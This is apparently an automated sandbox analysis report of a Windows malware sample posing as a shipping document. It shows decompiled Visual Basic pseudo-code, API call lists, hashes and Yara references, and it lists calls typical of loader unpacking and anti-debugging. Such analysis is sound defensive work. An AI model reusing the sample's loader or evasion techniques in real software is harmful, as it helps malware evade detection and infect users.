__vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,chauss,Sympatiskes8,00000000,00000000), ref: 0042B69B
__vbaFreeVar.MSVBVM60(Sympatiskes8,00000000,00000000), ref: 0042B6A6
__vbaFreeStr.MSVBVM60(0042B6EC,?,?,00401AF6), ref: 0042B6E6

Strings

, xrefs: 0042B47A
Sympatiskes8, xrefs: 0042B67D
HrK, xrefs: 0042B5CC, 0042B5D5, 0042B5E4, 0042B5F0
chauss, xrefs: 0042B682

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$ListNew2$#554#607CallChkstkLateMove
String ID: $HrK$Sympatiskes8$chauss
API String ID: 4222718024-2340784982
Opcode ID: 68b5957d0b7dff9bc385293675e0fec619ce8ded61575eaa5e02dc8e4c04f815
Instruction ID: 08daa720fe530b8e22480ae14387648f0f351ba493b81ea42c7ec61d515008e9
Opcode Fuzzy Hash: 68b5957d0b7dff9bc385293675e0fec619ce8ded61575eaa5e02dc8e4c04f815
Instruction Fuzzy Hash: AB71FA70E40218AFDB20DFA5C845FDDBBB4FF08308F5040AAE505B72A1DB7999859F99

Uniqueness

Uniqueness Score: -1.00%

Function 0042B824, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0042B824(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long _v28;
				long long _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v52;
				char _v60;
				char _v76;
				intOrPtr _v84;
				char _v92;
				void* _v128;
				signed int _v132;
				signed int _v140;
				intOrPtr* _v144;
				signed int _v148;
				char* _t55;
				short _t57;
				char* _t61;
				char* _t66;
				signed int _t70;
				intOrPtr _t88;
				long long _t94;

				_t94 = __fp0;
				_push(0x401af6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t88;
				L00401AF0();
				_v12 = _t88;
				_v8 = 0x401ab8;
				_v52 = 0x4b;
				_v60 = 2;
				_push( &_v60);
				_t55 =  &_v76;
				_push(_t55);
				L00401B98();
				_push(0x4150d8);
				_push(0x4150e0);
				L00401BB0();
				_v84 = _t55;
				_v92 = 0x8008;
				_push( &_v76);
				_t57 =  &_v92;
				_push(_t57);
				L00401CA6();
				_v128 = _t57;
				_push( &_v92);
				_push( &_v76);
				_push( &_v60);
				_push(3);
				L00401C4C();
				_t61 = _v128;
				if(_t61 != 0) {
					_v52 = 0x17;
					_v60 = 2;
					_push(0xfffffffe);
					_push(0xfffffffe);
					_push(0xfffffffe);
					_push(0xffffffff);
					_push( &_v60);
					L00401B92();
					L00401C76();
					L00401C5E();
					L00401B8C();
					_v32 = __fp0;
					if( *0x42d010 != 0) {
						_v144 = 0x42d010;
					} else {
						_push("HrK");
						_push(0x4126d8);
						L00401C8E();
						_v144 = 0x42d010;
					}
					_t66 =  &_v44;
					L00401C94();
					_v128 = _t66;
					_t70 =  *((intOrPtr*)( *_v128 + 0x70))(_v128,  &_v40, _t66,  *((intOrPtr*)( *((intOrPtr*)( *_v144)) + 0x324))( *_v144));
					asm("fclex");
					_v132 = _t70;
					if(_v132 >= 0) {
						_v148 = _v148 & 0x00000000;
					} else {
						_push(0x70);
						_push(0x413988);
						_push(_v128);
						_push(_v132);
						L00401C88();
						_v148 = _t70;
					}
					_v140 = _v40;
					_v40 = _v40 & 0x00000000;
					_v52 = _v140;
					_v60 = 8;
					_push(2);
					_t61 =  &_v60;
					_push(_t61);
					L00401B86();
					_v28 = _t94;
					L00401C7C();
					L00401C5E();
				}
				asm("wait");
				_push(0x42b9f9);
				L00401C82();
				return _t61;
			}

0x0042b824
0x0042b829
0x0042b834
0x0042b835
0x0042b841
0x0042b849
0x0042b84c
0x0042b853
0x0042b85a
0x0042b864
0x0042b865
0x0042b868
0x0042b869
0x0042b86e
0x0042b873
0x0042b878
0x0042b87d
0x0042b880
0x0042b88a
0x0042b88b
0x0042b88e
0x0042b88f
0x0042b894
0x0042b89b
0x0042b89f
0x0042b8a3
0x0042b8a4
0x0042b8a6
0x0042b8ae
0x0042b8b4
0x0042b8ba
0x0042b8c1
0x0042b8c8
0x0042b8ca
0x0042b8cc
0x0042b8ce
0x0042b8d3
0x0042b8d4
0x0042b8de
0x0042b8e6
0x0042b8eb
0x0042b8f0
0x0042b8fa
0x0042b917
0x0042b8fc
0x0042b8fc
0x0042b901
0x0042b906
0x0042b90b
0x0042b90b
0x0042b93b
0x0042b93f
0x0042b944
0x0042b953
0x0042b956
0x0042b958
0x0042b95f
0x0042b97b
0x0042b961
0x0042b961
0x0042b963
0x0042b968
0x0042b96b
0x0042b96e
0x0042b973
0x0042b973
0x0042b985
0x0042b98b
0x0042b995
0x0042b998
0x0042b99f
0x0042b9a1
0x0042b9a4
0x0042b9a5
0x0042b9aa
0x0042b9b0
0x0042b9b8
0x0042b9b8
0x0042b9bd
0x0042b9be
0x0042b9f3
0x0042b9f8

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042B841
#573.MSVBVM60(?,00000002,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042B869
__vbaStrCat.MSVBVM60(004150E0,004150D8,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042B878
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,004150E0,004150D8,?,00000002), ref: 0042B88F
__vbaFreeVarList.MSVBVM60(00000003,00000002,?,00008008,00008008,?,?,?,?,?,004150E0,004150D8,?,00000002), ref: 0042B8A6
#702.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0042B8D4
__vbaStrMove.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0042B8DE
__vbaFreeVar.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0042B8E6
#535.MSVBVM60(00000002,000000FF,000000FE,000000FE,000000FE), ref: 0042B8EB
__vbaNew2.MSVBVM60(004126D8,HrK,00000002,000000FF,000000FE,000000FE,000000FE), ref: 0042B906
__vbaObjSet.MSVBVM60(?,00000000), ref: 0042B93F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00413988,00000070), ref: 0042B96E
#600.MSVBVM60(00000008,00000002), ref: 0042B9A5
__vbaFreeObj.MSVBVM60(00000008,00000002), ref: 0042B9B0
__vbaFreeVar.MSVBVM60(00000008,00000002), ref: 0042B9B8
__vbaFreeStr.MSVBVM60(0042B9F9), ref: 0042B9F3

Strings

K, xrefs: 0042B853
HrK, xrefs: 0042B8F3, 0042B8FC, 0042B90B, 0042B917

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#535#573#600#702CheckChkstkHresultListMoveNew2
String ID: HrK$K
API String ID: 1058881258-62822173
Opcode ID: 43f80fdded272fdf297f0157e49ea3b71eba331ce7570adc7c66a5a70b016510
Instruction ID: d2fb350a2b28d10fa6c7c5b1352d7a7db5f427ba7949d7cb7ff80067eca9b761
Opcode Fuzzy Hash: 43f80fdded272fdf297f0157e49ea3b71eba331ce7570adc7c66a5a70b016510
Instruction Fuzzy Hash: 6D4118B1D40218ABDB10EFA5C885FDDBBB8BF08314F60416AF115B71A1DB789985CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0042BB23, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0042BB23(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr* _v76;
				signed int _v80;
				char* _t41;
				signed int _t45;
				void* _t58;
				void* _t60;
				intOrPtr _t61;

				_t61 = _t60 - 0xc;
				 *[fs:0x0] = _t61;
				L00401AF0();
				_v16 = _t61;
				_v12 = 0x401ad8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x38,  *[fs:0x0], 0x401af6, _t58);
				L00401CA0();
				if( *0x42d010 != 0) {
					_v76 = 0x42d010;
				} else {
					_push("HrK");
					_push(0x4126d8);
					L00401C8E();
					_v76 = 0x42d010;
				}
				_t41 =  &_v40;
				L00401C94();
				_v60 = _t41;
				_v48 = 1;
				_v56 = 2;
				L00401AF0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t45 =  *((intOrPtr*)( *_v60 + 0x228))(_v60, 0x10, _t41,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x2fc))( *_v76));
				asm("fclex");
				_v64 = _t45;
				if(_v64 >= 0) {
					_v80 = _v80 & 0x00000000;
				} else {
					_push(0x228);
					_push(0x41371c);
					_push(_v60);
					_push(_v64);
					L00401C88();
					_v80 = _t45;
				}
				L00401C7C();
				_v36 = 0xd75d3bb0;
				_v32 = 0x5afc;
				_push(0x42bc3b);
				L00401C82();
				return _t45;
			}

0x0042bb26
0x0042bb35
0x0042bb3f
0x0042bb47
0x0042bb4a
0x0042bb51
0x0042bb60
0x0042bb69
0x0042bb75
0x0042bb8f
0x0042bb77
0x0042bb77
0x0042bb7c
0x0042bb81
0x0042bb86
0x0042bb86
0x0042bbaa
0x0042bbae
0x0042bbb3
0x0042bbb6
0x0042bbbd
0x0042bbc7
0x0042bbd1
0x0042bbd2
0x0042bbd3
0x0042bbd4
0x0042bbdd
0x0042bbe3
0x0042bbe5
0x0042bbec
0x0042bc08
0x0042bbee
0x0042bbee
0x0042bbf3
0x0042bbf8
0x0042bbfb
0x0042bbfe
0x0042bc03
0x0042bc03
0x0042bc0f
0x0042bc14
0x0042bc1b
0x0042bc22
0x0042bc35
0x0042bc3a

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042BB3F
__vbaStrCopy.MSVBVM60(?,?,?,?,00401AF6), ref: 0042BB69
__vbaNew2.MSVBVM60(004126D8,HrK,?,?,?,?,00401AF6), ref: 0042BB81
__vbaObjSet.MSVBVM60(?,00000000), ref: 0042BBAE
__vbaChkstk.MSVBVM60(?,00000000), ref: 0042BBC7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041371C,00000228), ref: 0042BBFE
__vbaFreeObj.MSVBVM60 ref: 0042BC0F
__vbaFreeStr.MSVBVM60(0042BC3B), ref: 0042BC35

Strings

HrK, xrefs: 0042BB6E, 0042BB77, 0042BB86, 0042BB8F

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$ChkstkFree$CheckCopyHresultNew2
String ID: HrK
API String ID: 2888502551-2110752262
Opcode ID: fb008445f24bee796871313f2530e695b0aa993830b69b739b852c19d97baa40
Instruction ID: ddecba822c0ab719dbed58c67f3c4828bb00c2e6653fe35d96cac902eccaa58d
Opcode Fuzzy Hash: fb008445f24bee796871313f2530e695b0aa993830b69b739b852c19d97baa40
Instruction Fuzzy Hash: D7312D70E40608AFDB10DF95D489B9DBBB5EF08308F50446AF401BB2A1CBB99946DF99

Uniqueness

Uniqueness Score: -1.00%

Function 0042B261, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0042B261(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				intOrPtr* _v28;
				signed int _v32;
				intOrPtr* _v40;
				signed int _v44;
				char* _t26;
				signed int _t29;
				intOrPtr _t40;

				_push(0x401af6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t40;
				_push(0x18);
				L00401AF0();
				_v12 = _t40;
				_v8 = 0x401a70;
				if( *0x42d010 != 0) {
					_v40 = 0x42d010;
				} else {
					_push("HrK");
					_push(0x4126d8);
					L00401C8E();
					_v40 = 0x42d010;
				}
				_t26 =  &_v24;
				L00401C94();
				_v28 = _t26;
				_t29 =  *((intOrPtr*)( *_v28 + 0x21c))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x308))( *_v40));
				asm("fclex");
				_v32 = _t29;
				if(_v32 >= 0) {
					_v44 = _v44 & 0x00000000;
				} else {
					_push(0x21c);
					_push(0x41371c);
					_push(_v28);
					_push(_v32);
					L00401C88();
					_v44 = _t29;
				}
				L00401C7C();
				_push(0x42b326);
				return _t29;
			}

0x0042b266
0x0042b271
0x0042b272
0x0042b279
0x0042b27c
0x0042b284
0x0042b287
0x0042b295
0x0042b2af
0x0042b297
0x0042b297
0x0042b29c
0x0042b2a1
0x0042b2a6
0x0042b2a6
0x0042b2ca
0x0042b2ce
0x0042b2d3
0x0042b2de
0x0042b2e4
0x0042b2e6
0x0042b2ed
0x0042b309
0x0042b2ef
0x0042b2ef
0x0042b2f4
0x0042b2f9
0x0042b2fc
0x0042b2ff
0x0042b304
0x0042b304
0x0042b310
0x0042b315
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042B27C
__vbaNew2.MSVBVM60(004126D8,HrK,?,?,?,?,00401AF6), ref: 0042B2A1
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,00401AF6), ref: 0042B2CE
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041371C,0000021C,?,?,?,?,?,?,00401AF6), ref: 0042B2FF
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,00401AF6), ref: 0042B310

Strings

HrK, xrefs: 0042B28E, 0042B297, 0042B2A6, 0042B2AF

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresultNew2
String ID: HrK
API String ID: 4127847336-2110752262
Opcode ID: df839da4306be8c24fa1195494020da03d71084dc67060dde2f40700593f9db2
Instruction ID: 01001381d50d045dda4e716af388e263cb7ee0f702941151262415525dc3481a
Opcode Fuzzy Hash: df839da4306be8c24fa1195494020da03d71084dc67060dde2f40700593f9db2
Instruction Fuzzy Hash: 6B115E70A40209EFDB00DF94C94AFEEBBB4EB08704F60046AE101B72A1C7B959419FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042B70B, Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0042B70B(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v24;
				short _v28;
				void* _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				signed int _v68;
				signed int _t42;
				signed int _t47;
				short _t48;
				intOrPtr _t56;

				_push(0x401af6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t56;
				_push(0x30);
				L00401AF0();
				_v12 = _t56;
				_v8 = 0x401aa8;
				if( *0x42d3b4 != 0) {
					_v60 = 0x42d3b4;
				} else {
					_push(0x42d3b4);
					_push(0x41458c);
					L00401C8E();
					_v60 = 0x42d3b4;
				}
				_v40 =  *_v60;
				_t42 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
				asm("fclex");
				_v44 = _t42;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41457c);
					_push(_v40);
					_push(_v44);
					L00401C88();
					_v64 = _t42;
				}
				_v48 = _v32;
				_t47 =  *((intOrPtr*)( *_v48 + 0x120))(_v48,  &_v36);
				asm("fclex");
				_v52 = _t47;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0x120);
					_push(0x414618);
					_push(_v48);
					_push(_v52);
					L00401C88();
					_v68 = _t47;
				}
				_t48 = _v36;
				_v28 = _t48;
				L00401C7C();
				_v24 =  *0x401aa0;
				asm("wait");
				_push(0x42b809);
				return _t48;
			}

0x0042b710
0x0042b71b
0x0042b71c
0x0042b723
0x0042b726
0x0042b72e
0x0042b731
0x0042b73f
0x0042b759
0x0042b741
0x0042b741
0x0042b746
0x0042b74b
0x0042b750
0x0042b750
0x0042b765
0x0042b774
0x0042b777
0x0042b779
0x0042b780
0x0042b799
0x0042b782
0x0042b782
0x0042b784
0x0042b789
0x0042b78c
0x0042b78f
0x0042b794
0x0042b794
0x0042b7a0
0x0042b7af
0x0042b7b5
0x0042b7b7
0x0042b7be
0x0042b7da
0x0042b7c0
0x0042b7c0
0x0042b7c5
0x0042b7ca
0x0042b7cd
0x0042b7d0
0x0042b7d5
0x0042b7d5
0x0042b7de
0x0042b7e2
0x0042b7e9
0x0042b7f4
0x0042b7f7
0x0042b7f8
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042B726
__vbaNew2.MSVBVM60(0041458C,0042D3B4,?,?,?,?,00401AF6), ref: 0042B74B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041457C,00000014,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042B78F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00414618,00000120,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042B7D0
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042B7E9

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$ChkstkFreeNew2
String ID:
API String ID: 1616694062-0
Opcode ID: 6de1185a3dcf006b909b24e5851958b8f7a26bb312d7838e3f78690c14fbad69
Instruction ID: a153e286e27f2b82f378d393fe4f1608ebc846d590d6f06a1f6a2cf781900622
Opcode Fuzzy Hash: 6de1185a3dcf006b909b24e5851958b8f7a26bb312d7838e3f78690c14fbad69
Instruction Fuzzy Hash: BC31FF74E40219EFDB01DB94E985BDDBBB4FF48714FA0402AF501B62A0C7785841DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA0C, Relevance: 7.6, APIs: 5, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0042BA0C(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				short _v28;
				void* _v32;
				void* _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				intOrPtr* _v60;
				signed int _v64;
				signed int _v68;
				signed int _t42;
				signed int _t47;
				short _t48;
				intOrPtr _t56;

				_push(0x401af6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t56;
				_push(0x30);
				L00401AF0();
				_v12 = _t56;
				_v8 = 0x401ac8;
				if( *0x42d3b4 != 0) {
					_v60 = 0x42d3b4;
				} else {
					_push(0x42d3b4);
					_push(0x41458c);
					L00401C8E();
					_v60 = 0x42d3b4;
				}
				_v40 =  *_v60;
				_t42 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
				asm("fclex");
				_v44 = _t42;
				if(_v44 >= 0) {
					_v64 = _v64 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x41457c);
					_push(_v40);
					_push(_v44);
					L00401C88();
					_v64 = _t42;
				}
				_v48 = _v32;
				_t47 =  *((intOrPtr*)( *_v48 + 0xc8))(_v48,  &_v36);
				asm("fclex");
				_v52 = _t47;
				if(_v52 >= 0) {
					_v68 = _v68 & 0x00000000;
				} else {
					_push(0xc8);
					_push(0x414618);
					_push(_v48);
					_push(_v52);
					L00401C88();
					_v68 = _t47;
				}
				_t48 = _v36;
				_v24 = _t48;
				L00401C7C();
				_v28 = 0x56f8;
				_push(0x42bb06);
				return _t48;
			}

0x0042ba11
0x0042ba1c
0x0042ba1d
0x0042ba24
0x0042ba27
0x0042ba2f
0x0042ba32
0x0042ba40
0x0042ba5a
0x0042ba42
0x0042ba42
0x0042ba47
0x0042ba4c
0x0042ba51
0x0042ba51
0x0042ba66
0x0042ba75
0x0042ba78
0x0042ba7a
0x0042ba81
0x0042ba9a
0x0042ba83
0x0042ba83
0x0042ba85
0x0042ba8a
0x0042ba8d
0x0042ba90
0x0042ba95
0x0042ba95
0x0042baa1
0x0042bab0
0x0042bab6
0x0042bab8
0x0042babf
0x0042badb
0x0042bac1
0x0042bac1
0x0042bac6
0x0042bacb
0x0042bace
0x0042bad1
0x0042bad6
0x0042bad6
0x0042badf
0x0042bae3
0x0042baea
0x0042baef
0x0042baf5
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042BA27
__vbaNew2.MSVBVM60(0041458C,0042D3B4,?,?,?,?,00401AF6), ref: 0042BA4C
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041457C,00000014,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042BA90
__vbaHresultCheckObj.MSVBVM60(00000000,?,00414618,000000C8,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042BAD1
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00401AF6), ref: 0042BAEA

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$ChkstkFreeNew2
String ID:
API String ID: 1616694062-0
Opcode ID: f037fde342156b17c47540cd234448680b5217252429d678ef7b03107d164116
Instruction ID: 0b2f7f191ee95630b65398199f1a250f4608b8b81dc83dee1f8aa8eaa1082a5d
Opcode Fuzzy Hash: f037fde342156b17c47540cd234448680b5217252429d678ef7b03107d164116
Instruction Fuzzy Hash: 52310070E40229AFDB00DF94D885BDDBBB4FF08715F60402AE401B62A0D7B85945DBA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: shipping Document and Bill Of Landing.exe PID: 204 Parent PID: 672 shipping Document and Bill Of Landing.exeCOMMON

Executed Functions

Function 005663F4, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

Q>[, xrefs: 00566433

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Q>[
API String ID: 0-3793658124
Opcode ID: 33ab6e0d05badc93884a5d21f9b97e11a5eda33354295407842864ac0d95fdb8
Instruction ID: df4aa0b89730092fa9cbebe91d02c121b6e7e086aa8a78b0d388a1b33e032450
Opcode Fuzzy Hash: 33ab6e0d05badc93884a5d21f9b97e11a5eda33354295407842864ac0d95fdb8
Instruction Fuzzy Hash: 14917970648742CFCF219F64C8E87A57F91BF62360F58869ED8924B296E770C881C713

Uniqueness

Uniqueness Score: -1.00%

Function 005609FB, Relevance: 2.0, APIs: 1, Instructions: 530COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 2d0f7d574347762476c1c8e7b95cf9d8c04305e389827883e43be62455267616
Instruction ID: b0a212995a32af7a8b628a9d21465b309193b83e5389324f76cef3c2dfaa77c4
Opcode Fuzzy Hash: 2d0f7d574347762476c1c8e7b95cf9d8c04305e389827883e43be62455267616
Instruction Fuzzy Hash: 2FF1E071A047869BEB302A2449653FF2F62BF933A4FA84B1AEC95471D2D775C8C5C603

Uniqueness

Uniqueness Score: -1.00%

Function 00565460, Relevance: 1.8, APIs: 1, Instructions: 313libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 41a7d42dd12e6ac185f0a2d41f60bbea0f7c200fe8bcf721000f6916c8c243f6
Instruction ID: a9a070991decf6721053b7080374d0d5fe92d46e4fb2c23bb7be8c8ac354b435
Opcode Fuzzy Hash: 41a7d42dd12e6ac185f0a2d41f60bbea0f7c200fe8bcf721000f6916c8c243f6
Instruction Fuzzy Hash: 4FB124A295EFC56EEF23D730468835A7F92BE02694B4D4ECFC9C627013F065864AC381

Uniqueness

Uniqueness Score: -1.00%

Function 00566F48, Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45594789d63050f9969f43e3a13bcb771c6d05f8aecf0e8ef491e46fd32b9915
Instruction ID: 732c966a8a100ddcf8c6ebc0b7404c5fc0fde59210eec720a4ff7a927038ba31
Opcode Fuzzy Hash: 45594789d63050f9969f43e3a13bcb771c6d05f8aecf0e8ef491e46fd32b9915
Instruction Fuzzy Hash: 6361895160D7CE9DEF229B3086543A5AFA0BB0636CF2C0F4FCD9597196D32489C6D346

Uniqueness

Uniqueness Score: -1.00%

Function 00566EBE, Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a9aa511ddd5373200b3fc119af1ae87a233336e7d8614becc11c5a26d167c6
Instruction ID: 4ba1d38eaabe7466e38bf2c84b28f8ac92be6a5fd4accab7cf00c6760c5f8973
Opcode Fuzzy Hash: c0a9aa511ddd5373200b3fc119af1ae87a233336e7d8614becc11c5a26d167c6
Instruction Fuzzy Hash: F451472170D78E9EEF218A3485643A16FA1BB4A36CF280F5FCD56D7291E324C9C1D706

Uniqueness

Uniqueness Score: -1.00%

Function 00566EB1, Relevance: 1.7, APIs: 1, Instructions: 165nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 199ad5b152b3d7c80a1c37cf151cb6c99933a05512eb880fd7a715cb26b5a7dd
Instruction ID: aac067ecca97b4e9aa13cc635c190443570ce5c4acf1339532c2ce6b9dd8271e
Opcode Fuzzy Hash: 199ad5b152b3d7c80a1c37cf151cb6c99933a05512eb880fd7a715cb26b5a7dd
Instruction Fuzzy Hash: 6951033161C70ECEEB244E28C5643A52EA1BB5A378F744F1ACD66C72D4E73488C1AB06

Uniqueness

Uniqueness Score: -1.00%

Function 00560FAC, Relevance: 1.7, APIs: 1, Instructions: 162nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 00561028

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 873539af45df6faa042d3e1820c7ec320c91106884e2cc200223c0f0d397e469
Instruction ID: a1f567bd17dac8768c4e4c344de635a82dfaf4d6e6f6573bd81cf5e3cead69d7
Opcode Fuzzy Hash: 873539af45df6faa042d3e1820c7ec320c91106884e2cc200223c0f0d397e469
Instruction Fuzzy Hash: A851ACB1604B869BDF216A3409993E93F927F53364F2C0B29EDA2A71E2D77584C4C706

